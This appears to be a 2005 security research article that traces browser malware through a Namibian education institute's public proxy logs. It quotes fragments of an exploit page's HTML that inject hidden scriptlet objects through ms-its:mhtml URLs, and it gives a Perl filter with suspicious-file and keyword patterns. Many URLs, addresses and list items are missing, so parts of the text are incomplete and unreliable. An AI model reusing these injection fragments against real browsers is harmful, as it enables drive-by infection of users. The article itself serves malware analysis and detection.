Namibian TIBS Infection

Back Home

Last Updated: April 6, 2005 (Published Sunday November 13, 2005)

This document is part of the Browser Attacks Anthology

Table of Contents

  1. How Jimbutt Infects Namibians With TIBS, by Matt Richard (
  2. On Foreign Proxy Logs For Malware Analysis, by Michael Ligh (
  3. References

How Jimbutt Infects Namibians With TIBS

So on my drive home last night I start thinking about the classic (to me anyway) honeynet problem - how do you learn about new attacks and tactics when the attacks have to originate with the client. This is a big problem for classic honeynets which allow attackers to initiate contact and subsequently interact with a system. In other words, how do you simulate dumb users clicking on links and getting infected with new browser exploits like those in the Tri-mode exploits post?

Naturally I'm thinking about this on my drive home. My first thought turns to something that seemed promising - Google hacking. Not knowing a lot about Google hacking I immediately assume that since Google is good for searching documents and Google is good for searching documents for vulnerabilities, therefore Google must be good for finding hidden sploits.

My idea is simple, I'm going to go home, bring up and figure out a way to have it show me any document with "sploit.anr" embedded in it. This couldn't be easier! Anyway it doesn't work, but I really have interesting information coming soon.

Do you know how when you search on Google you inevitably end up with random links that you didn't want that seem to have nothing to do with your search. Well imagine my surprise when I search for 'sploit.anr' and get "Proxy Usage Statistics for - March 2005 - URL" mixed in with all the hits to :)

After passing over this link I start thinking - hey, since we get lots of goodies in Squid logs, maybe this is useful. I wonder what kind of data flows through the proxy? In fact I wonder what they hell they are.

Timeout for a quick fact finding mission, and yes I'm going to get to the point soon. First, take a look at Guess what - it's the National Institute of Education for Namibia. Who? The CIA says that Namibia came into existence in 1990, which makes them roughly the same age as the modern Internet that is infecting all of the PC's. They've got a total of 2M people, most of them attending NIED and infected with something.

Back to the point - NIED publishes their proxy logs online. This doesn't seem smart but it seems to fit my honeynet criteria. So my first curiosity is why did this site come back when I searched for 'sploit.anr'? The answer is obvious and leads me further - because someone using their proxy downloaded 'sploit.anr'. That's pretty cool, I wonder what other nasties they've download? I wonder if there is something we haven't seen yet?

So I started with the obvious 'sploit.anr' and sure enough in the logs is '', which looks very similar to '', [1].

A quick whois makes it obvious that we've found a net block that should be blocked from **everything**. Let's see, sploit.anr home, located in Russia....

inetnum: -
country: RU
admin-c: LNA1-RIPE
tech-c: JOY-ORG
tech-c: LNA1-RIPE
mnt-by: LINKEY-MNT
changed: 20050301
source: RIPE

Of course as expected they show up a couple of times in the logs. But note the number of downloads for the month - at least 6.

$ grep -i "213\.159\." proxylogs_03_2005.txt
13         0.00%         9   0.00%
12         0.00%       162   0.00%
9          0.00%        11   0.00%
6          0.00%        29   0.00%

So the next obvious query is to see how many .chm exploits they might have seen. This should be good.

12         0.00%       162   0.00%
5          0.00%        83   0.00%
4          0.00%        46   0.00%
3          0.00%        57   0.00%
2          0.00%        23   0.00%
2          0.00%        23   0.00%
2          0.00%        39   0.00%
2          0.00%        31   0.00%
2          0.00%        22   0.00%
2          0.00%        23   0.00%
2          0.00%        62   0.00%
1          0.00%        12   0.00%
1          0.00%        12   0.00%
1          0.00%        19   0.00%
1          0.00%        16   0.00%
1          0.00%        26   0.00%
1          0.00%        26   0.00%
1          0.00%        16   0.00%
1          0.00%        16   0.00%
1          0.00%        16   0.00%
1          0.00%        16   0.00%
1          0.00%        17   0.00%
1          0.00%        26   0.00%

Now that's some good stuff. I'd bet that we could re-use some old techniques to learn something from some of these. My personal favorites includes the random character .chm's and of course jimbutt just seems too good to resist.

Before I go any further I should probably get a safe working environment ready. Never mind, I'll just download and run on my Windows machine.

My first target was's load.chm. I started by downloading the file, which still exists, and taking a look. F-prot says it's not infected so I just launch it. Just kidding I'm doing this on Linux and it doesn't seem to let me. I just can't believe that a file in a directory called '/free/free/free/fr' is really a help file.

The strings output shows some good stuff:

L       /ccc.html
e       /tibs.exe
HHA Version 4.74.8702
Easy CHM - Made by UNREGISTERED version of Easy CHM

The interesting item here is "tibs.exe". Now I haven't spent much time studying legit chm files but I'm reasonably confident that I shouldn't be finding references to executables. Also of note is that this appears to made with 'Easy CHM'. I'm not a genius but I'm definetly missing how jimbutt has managed to use EasyCHM to create a browser exploit. I think I need to learn a little bit more first.

I'm onto something cool with We might be able to make the tri-mode a quad-mode. He's apparently got a few different tricks up his sleeve. Never put all your eggs in one basket.

$ grep -i jimbutt proxylogs_03_2005.txt 2 0.00% 23 0.00% 2 0.00% 3
0.00% 2 0.00% 62 0.00% 1 0.00% 15 0.00% 1 0.00% 26

One thing is still bothering me. Searching for "tibs.exe" in the logs comes up completely empty. Interesting. Like all good stories eventually you need to start tying things together. So here's where it gets a bit more interesting. Let's take a look at count.html.

 * {CURSOR: url("")}
  [TEXTAREA id=cxw style="DISPLAY: none"]
    [object data="${PR}"type="text/x-scriptlet"width="0" height="0"]
  [SCRIPT]document.write(cxw.value.replace("${PR}","ms-its:mhtml: \
  [textarea id="codxw" style="display:none;"]
    [object data="${PR}" type="text/x-scriptlet"][/object]
  [script language="javascript"]
    var cript = 'ms-its:mhtml:file://C:\foo.mht!';
    document.write(codxw.value.replace(/\${PR}/g, cript));
  [TEXTAREA id=cxw style="DISPLAY: none"]
    [object data="${PR}"type="text/x-scriptlet" width="0" height="0"][/object]
  [SCRIPT]document.write(cxw.value.replace("${PR}","ms-its:mhtml: \

Notice we've got quite a bit going on here. I mean a lot. Let's start at the top. So we begin anew where we started - '.anr' exploits. Here we've got a new name but something like the same old same old. Mr jimbutt has got an .anr called 'mic.anr' that seems to follow the same dhtml rules as 'sploit.anr'. I'm not going to re-invent the wheel so read through Michael's tri-mode write-up, [1]. Needless to say we've got ourselves infection method one - MS05-002. Not that I think this is going to get me anywhere but I'll scan mic.anr with f-prot anyway. Nothing. A quick strings gives some more insight, and more downloads.

matt@mattpc:~/chm> strings mic.anr

I'll grab tess1.exe for later review. In the meantime we've got more html to check out. Like any good spyware/malware site, there has to be some good tomfoolery going on to keep casual onlookers from seeing what's happening. That leads us to method 2 - MS04-023. This must be old news, [2] but it would be cool in email. Why do we use HTML in email again? Lot's of string replacing going on to confuse IDS systems and curious users, a few .chm files, and off we go. Since our friends in Nimibia downloaded these .chm files, I'm going to guess that MS04-023 hasn't made it's way that far east yet.

Here I am at a crossroad, there's just too much to look at. Let's review our current interesting topics:

You're going to love this, remember I mentioned that I have no idea where tibs.exe comes in? It turns out it gets registered as a protocol handler and then launched via other sites with redirects to tibs://connect. This is pretty cool.

So I've stumbled across some old exploits and only moderately interesting stuff. Now I'll answer the last topic - where was I going? My whole point in this research is that I found ties to a vulnerability that may or may not be important. It could be the next BHO problem or maybe I'm too tired to know the difference.

Here it is - remember way back when Michael talked about the telnet:// protocol handler and it's possible misuse, [3]? It's funny how things come back. Apparently the folks from inetnum: - have been working on their protocol handler usage scenario's and have come up with a new one - TIBS. What the hell is tibs? Remember I couldn't find tibs.exe in the logs, well that's because I forgot to look in the chm file. Duh. Anyway tibs is a new protocol we'll all be learning soon. How do you get started? Visit

On Foreign Proxy Logs For Malware Analysis

The NIED proxy logs opened a door to endless sources of malware. As Matt stated above, NIED publishes their records online, which gives us another way to locate infected URLs without the use of Google. New exploits won't always be indexed immediately, which limits what we can find with search engines. Proxy logs, albiet for only a small number of users (files range from 2.5 – 5 MB per month), are provide a good place to start looking.

Before these proxy logs are of use to us, some data processing needs to occur. We aren't going to manually examine each line of a 5 MB text file looking for suspicious key words and phrases. In order to make any progress, we'll need to first develop a quick plan and outline what we're most interested in finding. Then, we can script up a process to automate the actions.

My first round of testing was applied to the August 2005 NIED logs, [4]. My quickly formulated plan was to do the following:

The result was 225 potentially suspicious URLs. Once Wget was finished fetching the files, clamscan output detected the following malicious code:

The additional clamscan output stated that 7 of 218 files were infected. The discrepancy between 225 initial URLs and 218 scanned files shows that a few have already been taken offline. Seven suspicious files might not seem like a big deal at first, but take a look at what we've got. Three of the seven are archives themselves (the .jar and two .chm), which can be decompressed into several additional files. Undoubtedly, each individual file is going to contain clues and give us leads to other malware.

We've also got a major source of information – the domain/IP on which these files reside. Going straight to the source is going to reveal either malpractice or a compromised web server. The chances of finding clues in the sites HTML will probably lead us to even more malware on that site. Keep in mind also that this is all gathered by first defining a small set of criteria and then scanning the files for known signatures. What about all the nasty stuff that Clam doesn't detect?

The second round of analysis added several additional criteria to the suspect list:

Our results quickly jumped from 7/225 to 16/512.

Using a second source of signature databases (F-Prot), we identified several other files that were completely ignored by Clam. The script used to extract suspicious URLs is provided below, and easily manipulatable for any other purpose:

$file = shift;
open(A,"$file") or die "no file: $!";
while() {
        if (( /http:\/\/((\d){1,3}\.){3}/ or
        /http:\/\/\S+\:!(80|443)/ or
        /http:\/\/\S+\.(ru|ro|biz)/ or
        /\.(exe|dll|rar|chm|class|jar|cab|hta|ani)/i or
        /(script|free|root|popup|prompt|load|xxx|instal|setup|exploit|redir)i/ ) and not
        ( /(yahoo|windowsupdate|microsoft\.com|gateway\.dll)/ or
        /(192\.168\.|172\.16\.)/ )) {
                print "$_";

The idea would now be to loop through every other month of the published NIED statistics and pay closer attention to the files that Clam and F-Prot don't detect. Eventually, we would want to tie Google back in and find out what users in countries besides Namibia are being exploited with. Ideally, the information would be formatted in a way so that proxy servers everywhere could query in RBL-like fashion in order to actively blacklist known sites. Some vendors deploy this type of architecture but there are associated fees and usually you need to buy their device first. Well, something to look forward to.


[1]. Sploit.anr recording,
[2]. Neohapsis FD Archives.
[3]. Telnet protocol hander used in IE exploit.
[4].August 2005 NIED Proxy Statistics.